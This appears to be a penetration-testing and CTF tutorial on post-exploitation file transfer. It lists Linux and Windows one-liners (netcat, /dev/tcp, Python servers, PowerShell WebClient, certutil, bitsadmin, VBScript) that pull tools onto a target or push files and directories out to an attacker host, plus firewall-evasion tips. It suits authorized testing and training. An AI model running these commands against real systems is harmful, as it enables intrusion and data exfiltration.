You are inside the target system. You have a reverse shell. Now you need to get tools onto the target or exfiltrate data from it.
Uploading and downloading files is a critical skill in any CTF or penetration test. But you cannot always use SCP or FTP. Firewalls block ports. The target has no network tools installed. You are working with a limited shell.
Let me show you reliable file transfer techniques you can use in almost any situation.
LEGAL WARNING
This guide is for educational purposes and authorized testing only.Using these techniques on systems you do not own or have explicit written permission to test is illegal. These commands are for use in CTF competitions, your own lab environments, and authorized penetration testing engagements.
YOU HAVE BEEN WARNED.
Before You Start: Know What You Are Working With
Your file transfer options depend on what is available on the target.Is it a Linux or Windows target?What languages are installed (Python, Perl, Ruby, PHP)? Are there any file transfer tools already available (curl, wget, nc, ftp)? Do you have a limited shell or a full interactive shell? What ports are open outbound?The more you know about the target, the easier your transfer will be.
Linux File Transfer Techniques
Technique 1: Netcat (nc)
Netcat is the Swiss Army knife of networking. If it is installed on the target, it is your best option.
Download file from your own machine:
On your attacking machine, initiate the Netcat listener:
nc -lvnp 4444 < file_to_send.txtOn your target machine, connect and download the file:
nc YOUR_IP 4444 > received_file.txtUpload a file from the target machine:
On your attacking machine, initiate the Netcat listener to receive the file:
nc -lvnp 4444 > received_from_target.txtOn your target machine, upload the file:
nc YOUR_IP 4444 < file_to_send.txtCopy a directory:
On the target:
tar -czf - /path/to/directory | nc YOUR_IP 4444On your machine:
nc -lvnp 4444 | tar -xzvf –Technique 2: Python HTTP Server
Python comes pre-installed in Linux operating system and is one of the most dependable means for sending files.
First, start an HTTP server on your attacking machine:
python3 -m http.server 8000Or if you have only Python2 available:
python -m SimpleHTTPServer 8000Now, on the targeted machine, download the file as follows:
wget http://YOUR_IP:8000/your_fileIf wget command is not present on the system, you can use curl:
curl -O http://YOUR_IP:8000/your_fileIn case neither wget nor curl is present on the targeted machine, you can use python:
python -c "import urllib; urllib.urlretrieve('http://YOUR_IP:8000/your_file',For Python3:
python3 -c "import urllib.request; urllib.
request.urlretrieve('http://YOUR_IP:8000/your_file', 'your_file')"Technique 3: Base64 Encoding
If you cannot use direct file transfer, you should encode the file using Base64 encoding and then paste it.
Encode your file on the target:
base64 -w 0 your_file > encoded.txtThen paste the encoded data to your computer.
Decode on your computer:
echo "encoded_text_here" | base64 -d > your_fileTechnique 4: DD & Netcat
DD can be used to copy files/disk over.
Target:
dd if=your_file | nc YOUR_IP 4444Your Computer:
nc -lvnp 4444 | dd of=received_fileTechnique 5: SSH File Transfer (provided you have credentials)
Using SCP is the best option provided you have SSH credentials.
scp user@target_ip:/path/to/file /local/path/scp /local/file user@target_ip:/remote/path/Technique 6: Tar using Netcat
Transfer whole directories.
On Target:
tar -czf - /path/to/directory | nc YOUR_IP 4444On Your Machine:
nc -lvnp 4444 | tar -xzvf -Technique 7: File Transfer Protocol (FTP)
If the FTP service is available, you will be able to transfer files using it.
Transmit a file to your FTP server:
ftp YOUR_IP
binary
put your_fileReceive a file from your FTP server:
ftp YOUR_IP
binary
get your_fileTechnique 8: /dev/tcp or /dev/udp
If you have access to Bash, you may utilize the /dev/tcp device.
Transmit a file:
cat < /dev/tcp/YOUR_IP/4444 > your_fileFrom your machine, send the file:
nc -lvnp 4444 < file_to_send.txtTechnique 9: File Splitting & Reassembly
If you do not have enough disk space or network bandwidth, you should split the file into several pieces.
Target machine:
split -b 1M large_file part_Transfer the parts one by one and reassemble them on your end:
cat part_* > large_fileTechnique 10: Rsync
Rsync, if available on the target machine.
rsync -avz user@target_ip:/remote/path/ /local/path/Technique 11: Perl/Ruby one-liners
If there is no python available, then Perl and Ruby come handy.
Perl downloading command:
perl -MLWP::Simple -e 'getstore("http://YOUR_IP:8000/your_file", "your_file")'Ruby download:
ruby -e 'require "open-uri"; IO.copy_stream
(open("http://YOUR_IP:8000/your_file"), "your_file")'Windows File Transfer Techniques
Technique 1: PowerShell Downloads
PowerShell is the most reliable way to download files on Windows.
Download a file:
powershell -c "Invoke-WebRequest -Uri 'http://YOUR_IP:8000/your_file'
-OutFile 'C:\temp\your_file'"If Invoke-WebRequest is not available, use Net.WebClient:
powershell -c "(New-Object Net.WebClient)
.DownloadFile('http://YOUR_IP:8000/your_file', 'C:\temp\your_file')"Technique 2: Certutil
Certutil is an integrated part of Windows that can be utilized to download files.
certutil -urlcache -f http://YOUR_IP:8000/your_file C:\temp\your_fileTechnique 3: Bitsadmin
Bitsadmin is yet another Windows integrated tool that can be used to transfer files.
bitsadmin /transfer myjob /download /priority
normal http://YOUR_IP:8000/your_file C:\temp\your_fileTechnique 4: VBScript
The VBScript is present in most Windows computers.
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", "http://YOUR_IP:8000/your_file", false
objXMLHTTP.send()
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Type = 1
objADOStream.Open()
objADOStream.Write objXMLHTTP.responseBody
objADOStream.SaveToFile "C:\temp\your_file"
objADOStream.Close()Save this as download.vbs and run:
cscript download.vbsTechnique 5: FTP
FTP is used to transfer files.
echo open YOUR_IP> ftp.txt
echo binary>> ftp.txt
echo get your_file>> ftp.txt
echo quit>> ftp.txt
ftp -s:ftp.txtTechnique 6: Base64 Encoding
Files are encoded using Base64 format for text-based transfer.
At the target system (Windows):
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\temp\your_file")) > encoded.txtCopy Base64 text to your machine and decode:
echo "encoded_text" | base64 -d > your_fileTechnique 7: SMB Shares
If SMB is enabled, you can utilize a file share.
From your computer, establish a share:
impacket-smbserver share /path/to/shareFrom the target system:
copy \\YOUR_IP\share\your_file C:\temp\Technique 8: Netcat for Windows
If netcat is available on Windows, the command will be the same.
Download:
nc YOUR_IP 4444 > your_fileUpload:
nc YOUR_IP 4444 < your_fileTechnique 9: TFTP
TFTP is sometimes available.
tftp -i YOUR_IP GET your_fileTechnique 10: BitsTransfer (PowerShell Module)
Another PowerShell option:
Start-BitsTransfer -Source http://YOUR_IP:8000/your_file -Destination C:\temp\your_filePython Methods for File Transfer (Cross-Platform)
Python works for both Linux and Windows.
File Download From HTTP Server
Start an HTTP server on your computer as follows:
python3 -m http.server 8000Download the file from the target machine as:
python -c "import urllib; urllib.urlretrieve('http://YOUR_IP:8000/your_file', 'your_file')"File Upload Using Python
Target machine (uploading files):
import requests
files = {'file': open('your_file', 'rb')}
requests.post('http://YOUR_IP:8000/upload', files=files)On your machine, create an upload HTTP server:
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi
class UploadHandler(BaseHTTPRequestHandler):
def do_POST(self):
form = cgi.FieldStorage(self.rfile, self.headers, environ={'REQUEST_METHOD':'POST'})
with open('uploaded_file', 'wb') as f:
f.write(form['file'].file.read())
self.send_response(200)
HTTPServer(('0.0.0.0', 8000), UploadHandler).serve_forever()CTF Practical Scenario
Target Machine Is Running Linux OS with Python Installed
Objective: Extract a utility from your target machine.
Steps:
Step 1: Start the HTTP Server using python command in the local machine.
python3 -m http.server 8000Step 2: Now, obtain the utility from the target machine in the following manner:
wget http://YOUR_IP:8000/linpeas.shIn case if wget utility is not available in the target machine, we can download the utility through python.
python3 -c "import urllib.request;
urllib.request.urlretrieve('http://YOUR_IP:8000/linpeas.sh', 'linpeas.sh')"Common Problems and Fixes
1. No wget or curl on target machine. Use python HTTP server or Netcat. Python can usually be found. If not, use /dev/tcp through Bash.
2. Firewall blocks all outbound connections. Check some common ports like 80 or 443. Traffic of HTTPS type is usually permitted. Listen with Netcat on port 443.
3. Not enough space on the target system. Split the file using the split command. Transfer all the pieces of the file and then merge back again. Remove the pieces to free up space.
4. Python not available on the target machine. Use Netcat or /dev/tcp technique from Bash script. In case bash is not available, choose Perl or Ruby.
5. Python not available in Windows. Use powershell, certutil, and bitsadmin command. These commands are pre-installed on Windows.
6. The size of the file is large and can’t be transferred through base64 encoding. Rather use netcat or HTTP server. Base64 works well for small files.
7. Target is behind NAT. You may have to use reverse connection. Create a netcat listening program at your end and then establish a connection from the target to you.
8. Upload is too slow. Think about compressing your file using gzip/zip before uploading it. Use tar and gzip together.
Quick Reference Summary
For Linux targets, use Python HTTP server if Python is available. Otherwise, use either Netcat or the /dev/tcp trick via bash. In case you have SSH access, use SCP. For Windows systems, use PowerShell Invoke-WebRequest or .Net WebClient class.
In case PowerShell is limited, use certutil or bitsadmin. Otherwise, Python can be used for cross platform transfers.Base64 encoding works for small files on any system.
The Bottom Line
File transfer is an essential skill in CTF post-exploitation. You need to get tools onto the target and exfiltrate data from it. The technique you use depends on what is available on the target.
Start by using the Python HTTP Server for Linux target machines. Use PowerShell for Windows target machines. Use Netcat when available. Encode in Base64 when working with small files and no other method is available. Get used to this process in your lab environment.
FAQ Section
What would be the easiest way to copy files in a CTF?
The best way would be setting up a Python HTTP server in your attacking machine using python3 -m http.server 8000 and using wget/curl in the target machine. This should work for most Linux machines.
How would I copy files in a Windows target?
Using PowerShell:
powershell -c "(New-Object Net.WebClient)
.DownloadFile('http://YOUR_IP:8000/file', 'C:\temp\file')"If you don't have access to PowerShell, try certutil/bitsadmin.
What if the target machine has no wget/curl/Powershell?
Netcat can be used if you have access to it. Else, if you have Bash, try this one:
cat < /dev/tcp/YOUR_IP/4444 > fileOn Windows, use certutil/bitsadmin.
How can I transfer large files?
In order to transfer a large file, Netcat and HTTP for large files can be used. Base64 cannot be used in transferring a large file as the size of the file increases more than before. The use of split can be used in transferring a large file.
What should I do in case of restricted outbound ports?
Known ports like 80 and 443 can be used. Mostly, HTTPS is allowed.